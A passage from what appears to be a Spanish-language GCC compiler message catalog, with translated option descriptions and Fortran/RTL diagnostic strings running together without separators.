puntero a la cadena hacia atrásHace que "char" sea signed por defectoHace que "char" sea unsigned por defectoHace que se pueda reproducir la compilación utilizando la <cadena>Hace los enteros de 32 bits de anchuraMarca los structs como un múltiplo de 4 bytes (aviso: se altera la ABI)Se asegura que las instrucciones load y store no se mueven después de las instrucciones DMAHace que el motor de relajación de enlace asuma que ocurre una envoltura del contador de programaMapea un nombre de directorio a otro en la información de depuraciónMarca el <registro> como corrupto para llamadas de funciónMarca el <registro> como preservado entre funcionesMarca el <registro> como no disponible para el compiladorMarca los registros MAC como sobreescritos por llamadaMarca todos los métodos incluídos en lína con visibilidad hiddenCrecimiento de código maximal causado por duplicación de colas (en porcentaje)Salida estimada maximal de la ramificación considerada predecibleCrecimiento de código maximal causado por la inclusión en línea de una función grande (en porcentajes)Crecimiento de marco de pila maximal causado por la inclusión en línea (en porcentajes)Longitud máxima de identificadorLongitud máxima de los subregistrosLongitud máxima del conjunto antic parcial al realizr pre optimización de árbolNúmero máximo de errores a reportarEl número máximo de campos en una estructura antes de que el análisis de punteros trate a la estructura como una sola variableEl número máximo de instrucciones en la lista ready que se consideran elegibles para renombradoNúmero máximo de nops a insertar para una pista (Por defecto 2)Número máximo de sentencias permitidas en un bloque que necesitan ser duplicadas al hacer hilos de saltosEl número máximo de veces que se puede calendarizar una insnsTamaño máxmo de un SCC antes de que SCCVN detenga el procesamiento de una funciónLa longitud de subregistro máxima no puede exceder a %dLa longitud de identificador máxima soportada es %dFalló la asignación de memoriaLas particiones de memoria deben tener por lo menos un símboloPermite las instrucciones min/maxNo se permiten las instrucciones min/maxLa distancia mínima entre store y load en posible conflictoExpansión mínima de la pila para iniciar la recolección de basura, como un porcentaje del tamaño total de la pilaTamaño mínimo de la pila antes de comenzar a recolectar basura, en kilobytesEl número mínimo de mapeos virtuales para considerar el cambio a renombrados virtuales completosFalta un '&' en la constante de carácter continuado en %CFalta un '(' en la declaración en o antes de %LFalta un ')' en la declaración en o antes de %LFalta el parámetro SHAPE para la llamada a %s en %LFalta el argumento actual '%s' en la llamada a '%s' en %LFalta el argumento actual para el argumento '%s' en %LFalta la especificación de devolución alternativa en la llamada a subrutina en %LFaltan la lista de argumentos en la función '%s' en %CFaltan argumentos para '%s' en %CFaltan argumentos para el intrínseco %s en %LFalta la especificación de matriz en %L en la declaración DIMENSIONFalta el rango de carácter en IMPLICIT en %CFalta el paréntesis que cierra en la etiqueta de asignación en %CFalta la comilla '"' que cierra en la etiqueta de asignación en %CFalta la comilla ''' que cierra en la etiqueta de asignación en %CFalta la especificación de dimensión en %CFalta la entidad o el nombre de bloque común para la declaración de especificación de atributo en %CFalta un exponente en el número real en %CFalta la etiqueta de formato en %CFalta la especificación genérica en la declaración USE en %CFalta el nombre de la palabra clave en la lista de argumentos actual en %CFalta el parámetro de género en %CFalta el paréntesis izquierdo inicialFaltan los paréntesis requeridos antes de BIND(C) en %CFalta el paréntesis derecho en %CFalta el paréntesis derecho o una coma en %CMódulo %s en la línea %d columna %d: %sEl módulo natural en la declaración USE en %C debe ser uno de INTRINSIC o NON_INTRINSICMás argumentos actuales que formales en la llamada '%s' en %LMás argumentos actuales que formales en la llamada a procedimento en %LMueve las computaciones invariantes de ciclo fuera de los ciclosSe proveen múltiples identificadores con un sólo especificador NAME= en %CNo se permite NAME en BIND(C) para ABSTRACT INTERFACE en %CEl objeto de matriz NAMELIST '%s' debe tener forma constante en la lista de nombres '%s' en %LEl objeto de matriz NAMELIST '%s' no debe tener forma asumida en la lista de nombres '%s' en %LEl objeto NAMELIST '%s' tiene componentes PRIVATE y no puede ser un miembro de la lista de nombres PUBLIC '%s' en %LEl objeto NAMELIST '%s' tiene componentes PRIVATE asociados a uso y no puede ser miembro de la lista de nombres '%s' en %LEl objeto NAMELIST '%s' en la lista de nombres '%s' en %L no puede tener componentes ALLOCATABLEEl objeto NAMELIST '%s' en la lista de nombres '%s'en  %L no puede tener componentes POINTEREl objeto NAMELIST '%s' se declaró PRIVATE y no puede ser miembro de una lista de nombres PUBLIC '%s' en %LNOTE_INSN_BASIC_BLOCK %d en el medio del bloque básico %dfalta NOTE_INSN_BASIC_BLOCK para el bloque %dNULL aparece en el lado derecho de una asignación en %LNo se permite un puntero NULL en %L como un argumento de la función intrínseca '%s'se usó NULL en la aritméticaLa inicialización NULL() en %C es ambiguaLa cláusula NUM_THREADS en %L requiere una expresión INTEGER escalarEl nombre '%s' en %C ya se definió como una interfaz genérica en %LEl nombre '%s' en %C es una referencia ambigua a '%s' de la unidad de programa actualEl nombre '%s' en %C es una referencia ambigua a '%s' del módulo '%s'El nombre '%s' en %C es el nombre del procedimientoEl nombre '%s' en la declaración %s en %C no es un nombre de cicloEl nombre '%s' de ABSTRACT INTERFACE en %C no puede ser el mismo que un tipo intrínsecoLos nombres después de !$omp critical y !$omp end critical no coinciden en %CEl nombre en %C es demasiado largoNombre demasiado largoEl bloque COMMON nombrado '%s' en %L debe ser del mismo tamañoLa constante nombrada '%s' en %L no puede ser un objeto EQUIVALENCELa constante nombrada en %C en un EQUIVALENCELa lista de nombres %s no se puede renombrar por asociación de USE a %sEl nombre de grupo de lista de nombres '%s' en %C ya tiene un tipo básico de %sEl nombre de grupo de lista de nombres '%s' en %C ya está asociado con USE y no se puede reespecificar.Se necesita un registro objetivo sobreescrito por llamadaSe necesita un segundo registro de propósito general sobreescrito por llamadaSe necesita una entidad o un nombre de bloque común para la declaración de especificación de atributo en %CNo se permite un nombre de enlazado en BIND(C) en %CNo hay ramificaciones
No hay llamadas
No define a crt0.o por defectoNo hay líneas de código ejecutables
¡No existe un inicializador dado para el componente '%s' en el constructor de estructura en %C!No existe ese símbolo en la definición TYPE en %CAsignación definida por el usuario de un no-ELEMENTAL en WHERE en %LEl procedimiento que no es RECURSIVE '%s' en %L posiblemente se está llamando a sí mismo recursivamente. Declárelo RECURSIVE o utilice -frecursiveEl objeto que no es THREADPRIVATE '%s' en la cláusula COPYIN en %LEl tipo derivado '%s' que no es extensible en %L no debe ser ABSTRACTCarácter no numérico en la etiqueta de declaración en %CEl procedimiento FINAL que no es escalar en %L debe tener un argumento sharp asumidoCarácter de tabulación que no es conforme en %CCarácter de tabulador que no es conformante en la columna %d de la línea %dSección de matriz no constante en %L en la declaración DATASe requiere una anchura que no sea negativaDeclaración de tipo %s*%d no estándar en %CNo es un fichero .class de Java válido.
Número de bytes de memreg (por defecto: 16, rango: 0..16)Número de registros usados para pasar argumentos enterosSe requiere un PARAMETER numérico en la constante compleja en %CSe requieren operandos numéricos en la expresión en %LSe requieren operandos numéricos o CHARACTER en la expresión en %LNo se permite una declaración OPEN en el procedimiento PURE en %CEl parámetro ORDER de RESHAPE en %L no es del mismo tamaño que el parámetro SHAPEEl parámetro ORDER de RESHAPE en %L está fuera de rangoEl objeto '%s' en %L debe tener el atributo SAVE para la inicialización por defecto de un componenteEl objeto '%s' no es una variable en %Llas declaraciones Objective-C sólo pueden aparecer en el ámbito globalObsoleto: declaración IF aritmética en %CEl desplazamiento del campo de bits packed %qD cambió en GCC 4.4No se admite la declaración de tipo de estilo antiguo %s*%d en %COmite el marco de referencia para las funciones hojasOmite el paso de reducción de rango al realizar divisiones complejasOmite el marco de referencia para las funciones hojasSólo se declaran procedimientos FINAL de matriz para el tipo derivado '%s' definido en %L, se sugiere también uno escalarSólo genera reubicaciones absolutas en los valores de tamaño word.Sólo se pueden usar operandos intrínsecos en la expresión en %LSólo ejecuta una instrucción por cicloUsa solamente 32 FPRsUsa solamente 32 GPRsLas directivas OpenMP en %C no pueden aparecer en procedimientos PURE o ELEMENTALEl operando del operador .not. en %%L es %sEl operando del operador numérico unario '%s' en %%L es %sEl operando del operador de usuario '%s' en %%L es %sLos operandos del operador binario numérico '%s' en %%L son %s/%sLos operandos del operador de comparación '%s' en %%L son %s/%sLos operandos del operador lógico '%s' en %%L son %s/%sLos operandos del operador de concatenación de cadenas en %%L son %s/%sLos operandos del operador de usuario '%s' en %%L son %s/%sLa interfaz de operador en %L genera un conflicto con la interfaz intrínsecaLa interfaz de operador en %L tiene el número erróneo de argumentosLa interfaz de operador en %L debe tener, cuando mucho, dos argumentosOptimiza para espacio en lugar de velocidadOptimiza la inducción de variables en los árbolesOptimiza las cargas de las direcciones lui/addiuOptimiza las llamadas recursivas hermanadas y de extremoOptimiza las instrucciones de la llamada del extremo en el ensamblador y el enlazadorOptimiza la salida para el PROCESADORNo se admite la opción -fwhole-program para FortranOpciones:
Memoria agotadaMemoria agotada-- falló malloc()Espacio de pila agotado.
Genera un fichero clase como salidaTamaños de instrucción de salida al fichero asmSe sobreescriben los inicializadores desiguales en EQUIVALENCE en %LAnula -mbest-lib-optionsEl descriptor P requiere un factor de escala inicialSe requiere el parámetro PAD para el parámetro SOURCE corto en %LSe usa el PARAMETER '%s' en %L antes de que su definición esté completaFalta un inicializador para el PARAMETER en %LFalta un argumento PHI para el borde %d->%del argumento PHI no es SSA_NAME, o invarianteEl argumento PHI no es un valor GIMPLELa generación de código PIC no es compatible con las llamadas rápidas indirectasLa generación de código PIC no se admite en el modelo transportable de tiempo de ejecuciónPIC sólo se admite para RTPsse requiere PIC pero no se admite con instrucciones CONST16registro PIC %qs sobreescrito en %<asm%>el registro PIC aún no está preparadoEl objeto POINTER '%s' en la cláusula %s en %LUna función valuada como POINTER aparece en el lado derecho de la asignación en %LLa lista de nombres PRINT en %C es una extensiónNo se permite la declaración PRINT en %C dentro un procedimiento PUREPRINT_OPERAND puntero nuloPRINT_OPERAND: Puntuación desconocida '%c'PRINT_OPERAND_ADDRESS, puntero nuloSólo se permite la declaración PRIVATE en %C en la parte de especificación de un móduloLa declaración PRIVATE en %C debe preceder a los enlaces de procedimientoLa declaración PRIVATE en %C debe preceder a los componentes de la estructuraLa declaración PRIVATE en TYPE en %C debe estar dentro de un MODULEPROCEDURE en %C debe estar en una interfaz genéricaEl atributo PROCEDURE genera un conflicto con el atributo INTENT en '%s' en %LEl atributo PROCEDURE genera un conflicto con el atributo NAMELIST en '%s' en %LEl atributo PROCEDURE genera un conflicto con el atributo SAVE en '%s' en %LEl enlace PROCEDURE en %C debe estar dentro de CONTAINSPROCEDURE(interface) en %C aún no se admiteSólo se permite PROTECTED en %C en la parte de especificación de un móduloSólo se permite la declaración PRIVATE en %C en la parte de especificación de un móduloPUT usa el índice de matriz de puerto %d, el cual está fuera de rango [%d..%d]Empaca las instrucciones VLIWEmpaqueta juntos a los miembros de la estructura sin agujerosSe requiere el relleno de %d bytes antes de '%s' en el COMMON '%s' en %L; reordene los elementos o use -fno-align-commonsSe requiere el relleno de %d bytes antes de '%s' en COMMON en %L; reordene los elementos o use -fno-align-commonsEl parámetro '%s' en %L no se ha declarado o es una variable, lo cual no se reduce a una expresión constanteEl parámetro '%s' para '%s' en %L debe ser BIND(C)El parámetro '%s' para '%s' en %L debe ser un procedimientoEl argumento '%s' para '%s' en %L debe ser un escalarEl parámetro '%s' para '%s' en %L debe ser un TARGET o un puntero asociadoLa matriz de parámetro '%s' en %L no puede ser automática ni de forma diferidaError de decodificación al revisar la versión de módulo para el fichero '%s' abierto en %CLos símbolos particionados deben pertenecer exactamente a una particiónPasa el texto puro de -assert al enlazadorPasa los argumentos FP en los registros FPEl objeto pasado en %L debe ser escalarEl argumento dummy del objeto pasado de '%s' en %L debe estar en la misma posición que el argumento dummy del objeto pasado del procedimiento sobreescritoNo se permite el paso del procedimiento interno en %L por ubicaciónPone atención a la palabra clave "inline"Realiza la eliminación de duplicados DWARF2Realiza la propagación interprocedural de las constantesRealiza la calendarización SMS basada en módulo antes del primer paso de calendarizaciónRealiza la calendarización módulo basada en SMS con movimientos permitidos de registrosRealiza optimizaciones de alineación específicas para VR4130Realiza la Propagación de Rango Valor en árbolesRealiza el paso de la propagación hacia adelante en RTLRealiza un número de optimizaciones menores y costosasRealiza el paso de optimización de copia-propagación de registrosRealiza el paso de optimización de renombrado de registrosRealiza optimización de carga de ramificación objetivo después del hilo prólogo / epílogoRealiza optimización de carga de ramificación objetivo antes del hilo prólogo / epílogoRealiza la clonación para hacer la propagación constante Interprocedural más fuerteRealiza la conversión de saltos condicionales a equivalentes sin ramificaciónRealiza la conversión de saltos condicionales a ejecución condicionalRealiza la conversión de las inicializaciones de switch.Realiza optimizaciones de saltos cruzadosRealiza la inclusión en línea tempranaRealiza el movimiento de la carga mejorada durante la eliminación de subexpresiones comunes globalesRealiza la eliminación de subexpresiones comunes globalesRealiza la eliminación de subexpresiones comunes globales despúes del alojamiento de registrosRealiza la inclusión en línea indirectaRealiza el análisis interprocedural de puntero-aRealiza optimizaciones de hilado de saltosRealizar la división de rango vivo durante el paso SSA->normalRealiza el pelado de ciclosRealiza el desenrollamiento del ciclo para todos los ciclosRealiza el desenrollamiento del ciclo cuando se conoce la cuenta de iteraciónRealiza la eliminación de opciones del cicloRealiza la ubicación de matriz basado en aplanado y transposiciónRealiza la carga redundante después de la eliminación de almacenamiento en las subexpresiones comunes globalesRealiza el reemplazo escalar de agregadosRealiza la optimización de la secuencia de abstracción en RTLRealiza el `pipelining' de software de los ciclos internos durante la calendarización selectivaRealiza el `pipelining' de software de los ciclos externos durante la calendarización selectivaRealiza el movimiento de guardado después de la eliminación de subexpresiones comunes globalesRealiza la ubicación de estructuras basada en optimizacionesRealiza la formación de superbloques a través de la duplicación de colasRealiza la eliminación de tipos sin uso en la información de depuraciónRealiza seguimiento de variablesRealiza el seguimiento de variables y también marca las variables que no se inicializaronRealiza optimizaciones del programa completoSe requiere un punto en el especificador de formato en %CPermite '$' como un identificador de carácterPermite usos no conformes del carácter tabuladorPermite la calendarización de un secuencia de los prólogos de funciónPermite el uso de la palabra clave assertPermite los nombres de cáracteres universales (\u y \U) en los identificadoresColoca un bit de parada después de cada ciclo durante la calendarizaciónColoca los elementos de datos en su propia secciónColoca cada función en su propia secciónColoca las constantes de coma flotante en TOCColoca la salida en el <fichero>Coloca las constantes símbolo+desplazamiento en TOCPor favor envíe un reporte completo de bichos,
con el código preprocesado si es apropiado.
Vea %s para más instrucciones.
El componente de matriz de puntero de la estructura en %C debe tener una forma diferidaEl objetivo de asignación de puntero tiene atributo PROTECTED en %LEl objetivo de asignación de puntero no es TARGET ni POINTER en %LEl objetivo de asignación de puntero no es un POINTER en %LAsignación de puntero a un no-POINTER en %LAsignación de puntero con subíndice vectorial del lado derecho en %LEl remapeo de límites de puntero en %L aún no se admiten en gfortranLa inicialización de puntero en %C requiere '=>', no '='La inicialización de puntero requiere un NULL() en %CEl argumento actual de matriz de puntero en %L requiere un argumento dummy de forma asumida o matriz de puntero '%s' debido al atributo VOLATILELos punteros son de 32-bitLos punteros son de 64-bitAún no se admiten las entidades polimórficas, se aceptó el argumento dummy de '%s' del objeto pasado que no es polimórfico en %LSe requiere anchura del exponente positivaSe requieren una anchura positivaSe requieren una anchura positiva con el descriptor TPosible bicho del frente: Tamaño de matriz diferido sin atributo pointer, allocatable o tipo derivado sin componentes allocatable.Prefiere las ramas sobre la ejecución condicionalPrefiere accesos word sobre accessos bytePrecede los símbolos globales con ":" (para usarse con PREFIJO)Agrega el nombre del cpu al inicio de todos los nombres de símbolo públicosPreprocesa sólo directivas.Pretende que una ramificación-alrededor-de-un-movimiento es un movimiento condicional.Pretende que las ramificaciones son costosasPreviene el uso de todas las instrucciones de coma flotantePreviene el uso de todas las instrucciones de coma flotante de hardwareMuestra una suma de comprobación del ejecutable para revisión de validación de PCH, y terminaMuestra información de cobertura de código.

Muestra avisos extra (posiblemente no deseados)Muestra los nombres de los ficheros de encabezado mientras se utilizanEl procedimiento '%s' en %C tiene una interfaz explícita y no debe tener atributos declarados en %LEl procedimiento '%s' en %C ya se había definido en %LEl procedimiento '%s' en %L tiene el mismo nombre que un componente de '%s'El procedimiento '%s' en %L tiene el mismo nombre que un componente heredado de '%s'El procedimiento '%s' en %L debe tener el atributo BIND(C) para que sea interoperable con CSe llamó al procedimiento '%s' con una interfaz implícita en %LEl procedimiento '%s' en %L no tiene una interfaz explícitaEl procedimiento '%s' en %s en %L no es ni función ni subrutinaEl procedimiento '%s' con PASS en %L debe tener al menos un argumentoEl procedimiento '%s' con PASS(%s) en %L no tiene un argumento '%s'El argumento del procedimiento en %L es INTENT(IN) mientras que la interfaz especifica INTENT(%s)El argumento del procedimiento en %L es local a un procedimiento PURE y tiene el atributo POINTEREl argumento del procedimiento en %L es local a un procedimiento PURE y se pasa a un argumento INTENT(%s)Procesa directivas #identProcesando la especificación %c%s%c, la cual es '%s'
Produce un rastreo hacia atrás cuando se encuentra un error en tiempo de ejecuciónProduce un aviso en tiempo de ejecución si se ha creado una matriz temporal para un argumento de procedimientoProduce código big endianProduce código reubicable en el momento de ejecuciónProduce código little endiansoporte de análisis de perfil para CRXEl programa está ubicado por completo en la parte baja de 64k de memoriaProhíbe la llamada a funciones relativas al PCProvee bibliotecas para el simuladorColoca los ficheros MODULE en el 'directorio'Pone los datos en SECTIONColoca todo en la TOC normalPone las funciones en SECTIONColoca los datos globales y estáticos más pequeños que <número> bytes en una sección especial (en algunos objetivos)Pone saltos en ranuras de retardo de llamadasPone los datos de sólo lectura en SECTIONPone las constantes sin inicializar en ROM (necesita -membedded-data)Pone los datos inicializados a cero en la sección bssLa variable RESULT en %C debe ser diferente que el nombre de la funciónno se admite RETURN_ADDRESS_OFFSETRevisión RTL: acceso de elt %d de '%s' con el último elt %d en %s, en %s:%dRevisión RTL: acceso de elt %d de vector con el último elt %d en %s, en %s:%dRevisión RTL: se intentó tratar un símbolo que no es de bloque como un símbolo de bloque en %s, en %s:%dRevisión RTL: se esperaba el código '%s' ó '%s', se tiene '%s' en %s, en %s:%dRevisión RTL: se esperaba el código '%s', se tiene '%s' en %s, en %s:%dRevisión RTL: se esperaba el tipo elt %d '%c' ó '%c', se tiene '%c' (rtx %s) en %s, en%s:%dRevisión RTL: se esperaba el tipo elt %d '%c', se tiene '%c' (rtx %s) en %s, en %s:%dRevisión de opción RTL: se usó %s con el código rtx inesperado '%s' en %s, en %s:%dEl PIC de RTP es incompatible con -msingle-pic-baseEl PIC de RTP es incompatible con ThumbLa especificación de rango en %L nunca puede coincidirNo coincide el rango en el argumento '%s' en %L (%d y %d)El rango no coincide en la referencia de matriz en %L (%d/%d)Tasa entre mapeos virtuales y símbolos virtuales para hacer renombrados virtuales completosLeyendo el fichero '%s' como formato libreLeyendo el módulo %s en la línea %d columna %d: %sLeyendo especificaciones de %s
La constante real desborda su género en %CLa constante real desborda por debajo su género en %CEl número real en %C tiene un exponente 'd' y un género explícitoRealínea la pila en el prólogoReconoce palabras clave de C++ como "compl" y "xor"Reconoce las palabras claves definidas por GNUReconoce funciones internasReconoce la palabra clave "asm"Guarda las opciones de la línea de órdenes de gcc en el fichero objeto.Reduce la cantidad de metadatos de reflexión generadosReduce el tamaño de los ficheros objetoRelaja ramificacionesRemapea nombres de fichero cuando incluyen ficherosRemueve miembros redundantesReordena los bloques básicos y particionar en secciones caliente y fríaReordena los bloques básicos para mejorar la ubicación del códigoReordena las funciones para mejorar la ubicación del códigoReordena las funciones de nivel superior, variables y asmsLa cuenta de repetición no puede estar después del descriptor PReemplaza temporales SSA con mejores nombres en las copiasReemplaza add, compare, branch con branch en la cuenta de registrosReemplaza la ruta del sistemaReemplaza expresiones temporales en el paso SSA->normalReporta la ubicación de memoria antes de la optimización interproceduralReporta el alojamiento en memoria permanenteReporta el tiempo tomado por cada paso del compiladorRequiere rutinas de biblioteca matemática que cumplan con IEEE (OSF/1)Recalendariza las instrucciones después del alojamiento de registrosRecalendariza las instrucciones antes del alojamiento de registrosRecalendariza las regiones `pipelined' sin `pipelining'Reserva espacio para los argumentos de salida en el prólogo de la funciónRestringe doloop para el nivel de anidamiento dadoRestringe que la migración de carga de objetivos no reuse registros en ningún bloque básicoRestringe el uso de instrucciones de coma flotante de hardware para operaciones de 32-bitEl resultado '%s ' de la función contenida '%s' en %L no es de tipo IMPLICITEl resultado de %s da un rango de error para su género en %LEl resultado de %s es NaN en %LEl resultado de %s desborda su género en %LEl resultado de %s desborda por debajo su género en %LEl resultado de NEAREST es NaN en %LEl resultado de SCALE desborda su género en %LDevuelve todas las estructuras en memoria (por defecto en AIX)Devuelve los resultados de coma flotante en ac0 (fr0 en sintaxis de ensamblador Unix)Devuelve punteros tanto en a0 como en d0Devuelve los agregados small en memoria, no en registrosDevuelve agregados small en registrosDevuelve las estructuras pequeñas en registros (por defecto en SVR4)El tipo de devolución de la función BIND(C) '%s' en %L no puede ser una cadena de caracteresEl tipo de devolución de la función BIND(C) '%s' en %L no puede ser una matrizNo se define el valor de devolución '%s' de la función '%s' declarada en %LNo se define el valor de devolución de la función '%s' en %LDevuelve los valores de funciones en registros FPUReusa r30 basado por funciónNo se especificó el límite superior a la derecha de la sección de matriz de tamaño asumido en %LEjecuta la optimización comunizadora predictiva.Ejecuta la calendarización selectiva después de recargarNombre del ambiente de ejecución.El atributo SAVE en %L no se puede especificar en un procedimiento PUREDeclaración SAVE en %C después de una declaración SAVE incondicionalEl chunk_size de la cláusula SCHEDULE en %L requiere una expresión INTEGER escalarEl atributo SEQUENCE en %C ya se especificó en la declaración TYPELa declaración SEQUENCE en %C debe preceder a CONTAINSLa declaración SEQUENCE en %C debe preceder a los componentes de la estructuraSH2a no se admite para little-endianEl parámetro SHAPE para la llamada a %s en %L debe ser una matriz INTEGER de rango 1El argumento SHIFT en %L de CSHIFT debe tener rango %d o ser un escalarEl argumento SHIFT en %L de EOSHIFT debe tener rango %d o ser un escalarcorrupción de SSAhay un nombre SSA en la lista libre, pero aún está referenciadose creó SSA_NAME en dos bloques diferentes %i y %iSSA_NAME_DEF_STMT es erróneose debe establecer SSA_NAME_OCCURS_IN_ABNORMAL_PHIel conjunto de instrucciones SSE está desactivado, usando la aritmética 387argumento de registro SSE con SSE desactivadose devuelve el registro SSE con SSE desactivadoel argumento de vector SSE sin SSE activado cambia la ABIla devolución de vector SSE sin SSE activado cambia la ABILa etiqueta STAT en la declaración %s en %L debe ser de tipo INTEGERLa variable STAT '%s' de la declaración %s en %C no puede ser INTENT(IN)SUBROUTINE '%s' en %L no se puede llamar recursivamente, porque no es RECURSIVESUBROUTINE en %C no está dentro de una interfaz de función genéricaEl mismo argumento actual está asociado con el argumento INTENT(%s) '%s' y el argumento INTENT(%s) '%s' en %LIgual que -fassociative-math para las expresiones que incluyen división.Igual que: -mep -mprolog-functionGuarda registros alrededor de llamadas de funciónEl escalar '%s' en la etiqueta FORMAT en %L no es una variable ASSIGNEDSe requiere un PARAMETER escalar en la constante compleja en %CEl objeto escalar '%s' en %L no puede ser ALLOCATABLECódigo de calendarizador para el CPU dadoCalendariza para el CPU dadoCalendariza instrucciones usando el algoritmo de calendarización selectivoCalendariza el inicio y el final del procedimientoEl ámbito de las variables de la declaración de inicio-de-for es local para el cicloEl segundo argumento MOD en %L es ceroEl segundo argumento de IBCLR excede el tamaño de bit en %LEl segundo argumento de IBSET excede el tamaño de bit en %LEl segundo argumento de MOD en %L es ceroEl segundo argumento de MODULO en %L es ceroEl segundo argumento de NEAREST en %L no puede ser ceroEl segundo argumento de la asignación definida en %L debe ser INTENT(IN)El segundo argumento de la interfaz de operador en %L no puede ser opcionalEl segundo argumento de la interfaz de operador en %L debe ser INTENT(IN)Las anclas de sección se deben desactivar cuando se desactiva unidad-cada-vez.Falla de SegmentaciónFalla de Segmentación (código)Selecciona la convención de llamada ABISelecciona el método de coma flotante GPRLa selección de fracción de la cuenta maximal de repeticiones del bloque básico en el bloque básico dado de programa que necesita para ser considerado calienteLa selección de fracción de la frecuencia maximal de ejecuciones de bloque básico en el bloque básico de función para alinearLa selección de fracción de la frecuencia maximal de ejecuciones de bloque básico en el bloque básico de función dado que necesita para ser considerado calienteSelecciona la tabla full, part, ó sin tracebackSelecciona el método para el manejo de sdataSelecciona el MCU destinoLa expresión de selección en una declaración GOTO computada en %L debe ser una expresión entera escalarEl punto y coma en %C necesita ser precedido por la declaraciónEstablece la precisión de coma flotante 80387 (-mpc32, -mpc64, -mpc80)Establece el <dir>ectorio como el directorio raíz del sistemaEstablece las definiciones de WindowsEstablece la ruta de clasesEstablece la accesibilidad por defecto de las entidades de módulo a PRIVATE.Establece la revisión de distancia de dependencias en la calendarización prematura de insns encoladasEstablece errno después de las funciones matemáticas internasEstablece la alineación inicial máxima de estructuras miembroEstablece el número de insns encoladas que se pueden calendarizar prematuramenteEstablece el nivel de optimización a <número>Establece el parámetro <param> al valor.  Vea a continuación para una lista completa de parámetrosEstablece sizeof(bool) a 1Establece la dirección de inicio de los datosEstablece la dirección de inicio del programaEstablece el bit PPC_EMB en los interruptores del encabezado ELFEstablece el costo de las ramificacionesEstablece el costo de las ramificaciones aproximadamente a instrucciones COSTEstablece el género de doble precisión por defecto a un tipo de 8 bytes de anchuraEstablece el género entero por defecto a un tipo de 8 bytes de anchuraEstablece el género real por defecto a un tipo de 8 bytes de anchuraEstablece la visibilidad de símbolos por defectoEstablece el modelo de generación de código por defecto para almacenamiento thread-localEstablece la ruta del directorio de extensionesEstablece el nombre base a usar para los volcadosEstablece el tamaño máximo de datos elegibles para el área SDAEstablece el tamaño máximo de datos elegibles para el área TDAEstablece el tamaño máximo de datos elegibles para el área ZDAEstablece el número máximo de bytes que se deben dejar en el tamaño de la pila antes de que se active una instrucción trapEstablece la cantidad máxima para una sola operación de incremento de pilaEstablece la versión del lenguaje fuenteEspecifica el tipo del CPU destinoEstablece la versión de la MV destinoEstablece el directorio de nivel principal para almacenar los datos de perfilado.Establece el nivel de detalle del calendarizadorEstablece el nivel de detalle del vectorizadorCambiando la especificación de %s a '%s'

La especificación de forma en %L no puede ser negativaLa especificación de forma en %L no puede ser la matriz nulaLas formas para los operandos en %L y %L no son conformablesComparte ranuras para ahorrar registros hard diferentes.Comparte ranuras de pila para pseudo-registros derramados.Abrevia las referencias de direcciones durante el enlazadoMuestra los números de columna en los diagnósticos, cuando estén disponible.  Desactivado por defectoUnidad de coma flotante de precisión simpleTamaño en bytes de la matriz más grande que se colocará en la pilaEl tamaño del argumento '%s' del intrínseco '%s' en %L es demasiado pequeño (%i/%i)Área de datos small: none, sdata, useLímite suave en el número de insns de memoria por grupo de instrucción, dando una prioridad más baja a insns de memoria subsecuentes que intenten calendarizar en el mismo grupo insn. Frecuentemente útil para prevenir conflictos en el banco de caché.  El valor por defecto es 1no se admite Spe en este objetivoLa función de especificación '%s' en %L no puede ser RECURSIVELa función de especificación '%s' en %L no puede ser una función de declaraciónLa función de especificación '%s' en %L no puede ser una función internaLa función de especificación '%s' en %L debe ser PUREEspecifica la <ruta> como un prefijo para las siguientes dos opcionesEspecifica la ABI a utilizarEspecifica el CPU para propósitos de generación de códigoEspecifica el CPU para propósitos de calendarizaciónEspecifica el CPU por razones de calendarización.  Los argumentos válidos son 700, 7100, 7100LC, 7200, 7300, y 8000Especifica FP (sp, dp, sp-lite, dp-lite) (implica -mxilinx-fpu)Especifica el estándar UNIX para las predefiniciones y enlazadoEspecifica la FPU de Xilinx.Especifica la alineación de los campos de estructuras default/naturalEspecifica una ABIEspecifica el tamaño de bit para los desplazamientos TLS inmediatosEspecifica la función de limpieza de cachéEspecifica el número de trampa de limpieza de cachéEspecifica el costo de las ramificaciones (20 por defecto)Especifica cómo accessar al puntero de hiloEspecifica si se debe usar la coma flotanteEspecifica el objeto principal para TPF-OSEspecifica la profundidad máxima de instanciación de plantillasEspecifica un nombre para la función de división de 32 bit con signoEspecifica opciones a GNATEspecifica el rango de registros a convertir en fijosEspecifica la prioridad de calendarización para despachar insns restringidos por ranurasEspecifica el tamaño de long double (64 ó 128 bits)Especifica que se debe usar una librería BLAS externa para llamadas matmul en matrices de gran tamañoEspecifica que los argumentos pueden ser alias de cada otro y de los globalesEspecifica que la barra invertida en una cadena introduce un carácter de escapeEspecifica que no se permiten tipos implícitos, a menos que se sobreescriban con sentencias IMPLICIT explícitasEspecifica el conjunto de caracteres por defecto para los ficheros fuenteEspecifica la alineación mínima de bit de las estructurasEspecifica el nombre del CPU destinoEspecifica el nombre de la arquitectura destinoEspecifica el nombre del hardware/formato de coma flotante destinoEspecifica el orden de asignación de registrosEspecifica el registro a usar para el direccionamiento PICSelecciona el CPU destinoEspecifica cuando se permiten que las instrucciones accedan códigoEspecifica cuando se deben insertar las barreras de caché de r10kEspecifica dónde se encuentran los módulos intrínsecos compiladosEspecifica si se deben usar las instrucciones de acceso a byte. Activado por defecto.Especifica cuál esquema de inserción de nop post calendarizados se debe aplicarEspecifica a qué tipo de AE se apunta. Esta opción establece el tipo muly el acceso a byte.Especifica cuál tipo de multiplicación se usa.  Puede ser mem, mac o none.Divide los tiempos de vida de las variables de inducción cuando se desenrollen los ciclosDivide los tipos anchos en registros independientesLa declaración en %L no es una declaración de objetivo de ramificación válida para la declaración de ramificación en %LLa función de declaración '%s' en %L no se permite como un argumento actualLa función de declaración '%s' requiere una lista de argumentos en %CLa función de declaración en %L es recursivaLa etiqueta de declaración en %C es ceroLa etiqueta de declaración en ENDDO en %C no coincide con la etiqueta DOLa lista de etiquetas de declaración en GOTO en %C no puede estar vacíaNo se admite enlazado estático.
